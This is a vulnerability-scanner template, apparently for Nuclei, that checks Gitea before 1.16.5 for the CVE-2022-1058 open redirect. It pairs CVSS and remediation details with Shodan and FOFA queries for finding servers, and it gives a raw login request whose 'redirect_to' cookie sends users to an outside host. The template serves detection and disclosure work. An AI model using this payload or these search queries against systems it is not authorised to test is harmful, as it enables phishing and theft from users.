CVE-2022-1058: Gitea <1.16.5 - Open Redirect

id: CVE-2022-1058

info:
  name: Gitea <1.16.5 - Open Redirect
  author: theamanrawat
  severity: medium
  description: |
    Gitea before 1.16.5 is susceptible to open redirect via GitHub repository go-gitea/gitea. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade Gitea to version 1.16.5 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/go-gitea/gitea/commit/e3d8e92bdc67562783de9a76b5b7842b68daeb48
    - https://huntr.dev/bounties/4fb42144-ac70-4f76-a5e1-ef6b5e55dc0d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1058
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1058
    cwe-id: CWE-601
    epss-score: 0.08779
    epss-percentile: 0.92189
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gitea
    product: gitea
    shodan-query:
      - title:"Gitea"
      - http.html:"powered by gitea version"
      - http.title:"gitea"
      - cpe:"cpe:2.3:a:gitea:gitea"
    fofa-query:
      - body="powered by gitea version"
      - title="gitea"
    google-query: intitle:"gitea"
  tags: cve,cve2022,huntr,open-redirect,gitea

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect_to=//interact.sh

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}

    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "//interact.sh"

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true
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